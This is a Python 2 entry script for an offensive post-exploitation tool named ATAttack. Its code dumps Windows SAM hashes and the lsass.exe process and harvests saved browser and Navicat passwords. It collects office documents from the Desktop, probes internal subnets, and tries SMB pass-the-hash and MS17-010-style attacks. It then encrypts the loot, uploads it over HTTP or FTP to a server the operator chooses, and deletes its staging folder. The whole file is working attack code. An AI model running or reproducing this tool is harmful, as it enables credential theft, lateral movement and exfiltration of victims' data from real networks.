#! /usr/bin/env python2.7
# -*- coding:UTF-8 -*-

from ATAttack.enumeration.host import *
from ATAttack.credentials.check import ipadders, attak
from ATAttack.enumeration.tasklist import disk
from ATAttack.enumeration.tasklist import tasklist,token
from ATAttack.enumeration.connect import login_
from ATAttack.framework.constant import constant
from ATAttack.enumeration.upload import upload
from ATAttack.credentials.dump import samdump
from ATAttack.framework.prints import *
from ATAttack.enumeration.check import *
import fnmatch
import sys
import re
import urlparse
import argparse
import wget

reload(sys)
sys.setdefaultencoding("utf-8")

ipadder_list = []

class Credentials:
    def __init__(self, host, username, password):
        self.host = host
        self.username = username
        self.password = password
        if self.username is None:
            self.username = 'anonymous'

class exploit:

    def __init__(self, list,_server):
        self.list = list
        self.ftp = _server

    def cmd(self, list):
        for i in list:
            ret = os.popen(i).read()
            ipadder_list.append(ret.decode('cp936').encode('utf-8').strip())
        ip = re.findall(
            r'1(?:\d{1,3}\.){3}\d{1,3}(?![\.\d])',
            str(ipadder_list),
            re.S)
        iplist = []
        for ipaddr in ip:
            ipadder = ipaddr.split(
                '.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2]
            iplist.append(ipadder)
        return iplist

    def pings(self):
        '''
        内网主机icmp探活
        '''
        list = []
        ipadder = (set(self.cmd(constant.cmdlist)))
        aparagraph = [x + ".1" for x in ipadder]
        bparagraph = [x + ".254" for x in ipadder]
        aparagraph.extend(bparagraph)
        for add in aparagraph:
            if ipadders().is_internal_ip(add):
                list.append(add)
        print_info("{} were obtained through information collection".format(
            str(len(list))))
        regex = set(ipfind(list))
        return regex

    def ipcidr(self):
        """
        # 主机注册表sam 解密ntlm
        # 获取lsass.exe进程pid 使用Minidump导出
        # ssh 弱口令爆破  ms17010永恒之蓝 pth哈希彻底攻击
        """
        ddump = samdump()
        sanmdump = ddump.save_hives()
        print_success(
            "Successful acquisition of administrator ntlmhash :{}".format(sanmdump))
        print_warning(
            "Attempting to export the lsass.exe process")
        ddump.lsassdump()
        _att = attak()
        for network in self.pings():
            print_warning("Discovered that the segment network is reachable :" + network )
            _att.smb_version(network, sanmdump)

    def history(self,path=None):
        '''
        主流浏览器历史记录，保存密码导出
        '''
        chosenEnums = [Chromelog,ielog,firefoxlog,jishulog,Navicat]
        command_list_queue = multiprocessing.Manager().list()
        enums = [enum(q=command_list_queue,w=path) for enum in chosenEnums]
        for enum in enums:
            enum.start()
        for enum in enums:
            enum.join()
        log_tmp = list(set(command_list_queue))
        for url in log_tmp:
            url_change = urlparse.urlparse(url)
            host = url_change.netloc
            ipadder_list.append(host)

class information():
    @staticmethod
    def run():
        if len(disk()) == 1:
            exit()
        print_success('Existing in the current process' + tasklist())
        login_().rdplogin_()
        print_success("Delegation tokens Available" + "\n"  + str(token()))
        dir = os.path.join(os.path.expanduser("~"), 'Desktop') + '\\'
        print_warning('Attempting to obtain system sensitive files')
        file = ['*.pdf', '*.doc', '*.docx', '*.ppt', '*.pptx', "*.xlsx", "*.rtf", "*.csv",'*.txt']
        f = open(constant.tmp_name_, 'w')
        for root, dirs, files in os.walk(dir):
            for name in files:
                for file_ in file:
                    if fnmatch.fnmatch(name, file_):
                        f.write(os.path.join(root, name))
                        f.write('\n')
        f.close()

class _start():
    @staticmethod
    def run(_server):
        os.mkdir(constant.upload_dir)
        print_warning('temporary Storage Folder :' + constant.upload_dir)
        ia = information()
        ia.run()
        ig = exploit(constant.cmdlist,_server)
        ig.history(path=constant.upload_dir)
        ig.ipcidr()

    def clean(self):
        try:
            os.system("rd /s/q" + " " + constant.upload_dir)
        except Exception:
            pass

if __name__ == '__main__':
    multiprocessing.freeze_support()
    parse = argparse.ArgumentParser(description="ATAttack")
    parse.add_argument('-t', '--host', type=str, help="host")
    parse.add_argument('-u', '--username', type=str, help="username")
    parse.add_argument('-p', '--password', type=str, help="password",)
    parse.add_argument('-d', '--domain', type=str, help="upload",)
    args = parse.parse_args()
    host = args.host
    domain = args.domain
    username = args.username
    password = args.password
    server = None
    if not args.domain:
        _start().run(server)
    if args.domain:
        _start().run(server)
        _server = upload(credentials='')
        filename = _server.encrypt(constant.upload_dir)
        _server.HTTPupload(domain,filename)
        _start().clean()
        try:
            if args.host:
                print_warning("Attempt to connect to FTP server :" + host)
                credentials = Credentials(host, username, password)
                _server = upload(credentials)
                _start().run(_server)
                print_warning("Please wait while uploading ... ")
                # if os.path.getsize(constant.dump_name) == 0:
                #     _server.lsass_dump()
                _server.ftp_upload(_server.encrypt(constant.upload_dir))
        except Exception:
            pass
        finally:
            _start().clean()



